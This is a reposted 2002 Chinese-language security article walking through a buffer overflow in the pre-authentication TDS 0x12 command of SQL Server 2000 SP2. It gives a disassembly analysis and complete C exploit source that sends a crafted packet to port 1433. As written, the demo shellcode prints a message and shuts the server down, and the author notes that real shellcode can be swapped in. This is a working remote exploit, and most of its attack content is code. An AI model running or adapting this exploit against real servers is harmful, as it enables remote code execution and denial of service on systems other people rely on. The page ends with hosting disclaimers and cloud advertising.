【實戰】SQL SERVER 2000 SP2 12命令的溢出攻擊實現

來源:互聯網
上載者:User
SQL SERVER 2000 SP2 12命令的溢出攻擊實現

作者:flashsky
首頁:http://www.xfocus.net
日期:2002-11-01

注意:轉載請註明作者和安全焦點
第一次玩溢出研究,請高手指正

自上次被isno指教了一翻,這幾天開始用彙編看sql server的代碼,發現SQL SERVER的1433 TDS協議中,0X12號命令(請求驗證)存在一個溢出問題,在傳送最後的MSSQLSERVER後面跟上572個以上的位元組會導致溢出,心裡一喜,但吸取上次教訓,一查,發現8月12這個漏洞已經被公告。哎
但是一看,公告代碼只指出溢出,但是未實現溢出,仔細一看,要實現這個溢出還是很麻煩的,涉及到很多問題:

下面是彙編程式碼分析:
前面接受資訊的大致流程:
請求
text:004DE099                 call    sub_410E22
    .text:00410ED3                 call    dword ptr [eax+14h]
    調用ssnetlib的擷取非同步socket到來的資訊
        42CF42F2:串連並接收資訊
    .text:00410ED6                 add     esp, 18h

處理資料:
42cf719e處調用,下個返回地址應該是42cf71a3,溢出就是要覆蓋這個返回地址
溢出產生在:42cf72cf處的strcpy上
但是其中問題存在於:strcpy拷貝的地址離42cf71a3的地址有572個位元組,其中存在很多其他變數的指標,如果隨便覆蓋掉的話,在這個子過程中會繼續引用他們,那麼就引起訪問違例,直接被異常給捕獲了,而無法達到執行代碼的目的,而其其過程是一個迴圈執行過程,會導致很複雜的計算。
涉及到的需要繼續引用覆蓋地址值的代碼有:
.text:42CF73D9                 mov     edx, [ebp+var_4]
.text:42CF73DC                 add     edx, 5
.text:42CF73DF                 mov     [ebp+var_4], edx
.text:42CF7263                 mov     edx, [ebp+arg_4]
.text:42CF7266                 add     edx, [ebp+var_4]
.text:42CF7269                 xor     eax, eax
.text:42CF726B                 mov     al, [edx]
.text:42CF726D                 mov     [ebp+var_14], eax
.text:42CF7270                 mov     ecx, [ebp+arg_4]
.text:42CF7320                 mov     [ebp+var_224], ecx
.text:42CF7326                 mov     edx, [ebp+arg_0]
.text:42CF7329                 mov     eax, [ebp+var_224]
.text:42CF732F                 mov     ecx, [eax]

可以發現以上值主要是涉及到
要覆蓋地址-8
要覆蓋地址+4
要覆蓋地址+8
要覆蓋地址+C
要覆蓋地址+10
要覆蓋地址+14
這幾個地址上,而且主要是寫操作
並且要覆蓋地址-4會和要覆蓋地址+4會進行一次加操作,其操作的位址範圍也應該為可讀寫。
因此很容易想到,用SQL SERVER固定分配的某個資料區的地址取帶該區就不會引起異常了。而要覆蓋地址-4最好為0xffffffff左右的值,其他地址加上這個值也在一個資料區範圍以內,問題就不大要覆蓋地址+4,要覆蓋地址+8,要覆蓋地址+C,要覆蓋地址+10,要覆蓋地址+14的值要仔細選取,因為JMP ESP跳回來以後正好在從要覆蓋地址+4處開始執行,需要其彙編代碼不能引起異常和跳轉到其他地方去,否則就無法執行我們真正能實現的shellcode了。
另外就是如果shellcode全部放在要覆蓋地址+18後執行也有問題,其中可能在同一個過程中會用到其中的值,因此把shellcode最好放在前面,在覆蓋地址+18後用少量的代碼跳回去,避免大量覆蓋引起異常。
另外就是jmp esp代碼的選擇,其實不同伺服器版本地址不同,但是我想在SQL SERVER代碼本身中找更好。只要存在一個ffe4數字就可,不管是不是真的jmp esp代碼,這樣shellcode可以更簡單,也更通用一些,仔細一看,sql server中還真有這個組合,位置在42B0C9DC處。OK,那麼主要問題就搞定了
我的環境是:sql server 2000+sp2+最新的補掉sql server udp漏洞的q36几几的。
下面是示範代碼,其中沒有實現真正的shellcode,而是實現了列印了一行sql hack demo,並且當掉了SQL SERVER伺服器,其實只要把其中代碼置換成shellcode就可以了,當然需要考慮大小問題,如果放在後面可以不考慮大小,但是可能會引起一些異常,我沒仔細調試,放在前面許可的長度大概有500多位元組左右,做SHELLCODE也應該足夠了。
大家在cmd下運行sqlsvrer可以看到列印出的sql hack demo字元,並且SQL 當掉,如果是服務或管理工具啟動,則無法列印sql hack demo,但SQL會當掉,注意此處當掉不是因為異常,而是執行了shellcode的exit導致的。
#include <process.h>
#include <string.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <winbase.h>

int main(int argc, char* argv[])
{
    WSADATA WSAData;
    SOCKET sock;
    SOCKADDR_IN addr_in;
    unsigned char buf0[48+572]={
        0x12,1,0,0x34,0,0,0,0,0,0,0x15,0,6,1,0,0x1b,
        0,1,2,0,0x1c,0,0xc,3,0,0x28,0,4,0xff,8,0,2,
        0x10,0,0,0,0x4d,0x53,0x53,0x51,0x4c,0x53,0x65,0x72,0x76,0x65,0x72,1,0x10,4,1,1};

    unsigned char buf1[255]={10,9,8,7,6,5,4,3,2,1,0};
    char exploit_code[21]= "/x83/xc4/x81/x8b/xc4/x50/xff/x15/xf8/xe0/xcf/x42"
    "/x33/xc0/x50/xff/x15/x84/xe0/xcf/x42";
//這個是列印"sql hack demo"並退出sql server的shellcode代碼
    int i;
    int len;
    const int SNDBUF = 0;
    const int TCPNODELAY = TRUE;
    const int BROADCAST = TRUE;
    int fo=572;    //需要覆蓋的返回地址位移處
    if (argc<2)
    {
        return FALSE;
    }
    for(i=0x34;i<584;i++)
        buf0[i]=0x90;        
//示範列印的字串
    buf0[0x34+0x10]='s';
    buf0[0x34+0x11]='q';
    buf0[0x34+0x12]='l';
    buf0[0x34+0x13]=' ';
    buf0[0x34+0x14]='h';
    buf0[0x34+0x15]='a';
    buf0[0x34+0x16]='c';
    buf0[0x34+0x17]='k';
    buf0[0x34+0x18]=' ';
    buf0[0x34+0x19]='d';
    buf0[0x34+0x1a]='e';
    buf0[0x34+0x1b]='m';
    buf0[0x34+0x1c]='o';
    buf0[0x34+0x1d]='/n';

//防止資料改動引起異常而退出而無法實現有效溢出,因此進行有效修改
    buf0[fo-0x8]=0xff;
    buf0[fo-0x7]=0xff;
    buf0[fo-0x6]=0xff;
    buf0[fo-0x5]=0xff;
    //42D01CFC    為SQL SERVER固定的資料區域,且其彙編代碼不引起問題
    buf0[fo+4]=0xfc;
    buf0[fo+5]=0x1c;
    buf0[fo+6]=0xd0;
    buf0[fo+7]=0x42;
    //42d01c72   為固定的資料區域才能可寫
    buf0[fo+8]=0x64;
    buf0[fo+9]=0x0d;
    buf0[fo+0xa]=0xd0;
    buf0[fo+0xb]=0x42;    
    //42D01CFC    為固定的資料區域才能可寫
    buf0[fo+0xc]=0xfc;
    buf0[fo+0xd]=0x1c;
    buf0[fo+0xe]=0xd0;
    buf0[fo+0xf]=0x42;
    //42d01c72   為固定的資料區域才能可寫
    buf0[fo+0x10]=0x64;
    buf0[fo+0x11]=0x0d;
    buf0[fo+0x12]=0xd0;
    buf0[fo+0x13]=0x42;    
    //42d01c72   為固定的資料區域才能可寫
    buf0[fo+0x14]=0x64;
    buf0[fo+0x15]=0x0d;
    buf0[fo+0x16]=0xd0;
    buf0[fo+0x17]=0x42;    
    //在溢出了返回地址後,由於其中的N個代碼需要返回後跳轉、而此處由在子函數中需要處理,因此尋找一個資料地址放入,同時使得其彙編代碼不引起訪問異常。

    //然後下面的幾個地址是在此過程中不需要使用的,因此可以大膽修改成我們需要的彙編代碼了
    //寫入跳回去的代碼buf0[fo+0xc]=0x42;
    buf0[fo+0x18]=0x81;
    //ADD ESP,0XFFFFFF92
    buf0[fo+0x19]=0x83;
    buf0[fo+0x1a]=0xc4;  
    buf0[fo+0x1b]=0x81;
    //ADD ESP,0XFFFFFF92
    buf0[fo+0x1C]=0x83;
    buf0[fo+0x1D]=0xc4;  
    buf0[fo+0x1E]=0x81;
    //ADD ESP,0XFFFFFF92
    buf0[fo+0x1f]=0x83;
    buf0[fo+0x20]=0xc4;  
    buf0[fo+0x21]=0x81;
    //JMP ESP
    buf0[fo+0x22]=0xff;
    buf0[fo+0x23]=0xe4;
    //以上代碼在溢出返回後執行,由於主要的shellcode防在前面,需要跳回去
    //不直接放在後面的原因在於:覆蓋了後面的一些變數,會導致提前出現地址訪問異常,導致無法達到執行我們想要代碼的目的

    memcpy(buf0+fo-8-364,exploit_code,21);
    //拷貝SHELLCODE

    //FFE4=JMP ESP
         //設定溢出地址的值,42B0C9DC是SQL SERVER本身代碼有的FFE4地方
    buf0[fo]=0xDC;
    buf0[fo+1]=0xC9;
    buf0[fo+2]=0xB0;
    buf0[fo+3]=0x42;
    //需要找到JMP ESP的代碼,然而這個是隨版本變化的,所以乾脆在SQL SERVER程式中找,只要組合成這個就可

    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d/n",WSAGetLastError());
        return FALSE;
    }
    if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d/n",WSAGetLastError());
        return FALSE;
    }

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(1433);
    addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
    buf0[1]=1;
    if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
    {
        printf("Connect failed.Error:%d",WSAGetLastError());
        return FALSE;
    }
    if (send(sock, buf0, sizeof(buf0), 0)==SOCKET_ERROR)
    {
        printf("Send failed.Error:%d/n",WSAGetLastError());
        return FALSE;
    }

    len=recv(sock,buf1,255,NULL);
    for(i=0;i<len;i++)
    {
        printf("%02x ",buf1[i]);
        if(i%16==15)
            printf("/n");
    }
    printf("/n");
    buf0[0]=0x10;
    if (send(sock, buf0, sizeof(buf0), 0)==SOCKET_ERROR)
    {
        printf("Send failed.Error:%d/n",WSAGetLastError());
        return FALSE;
    }
    WSACleanup();
    return 0;

}

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.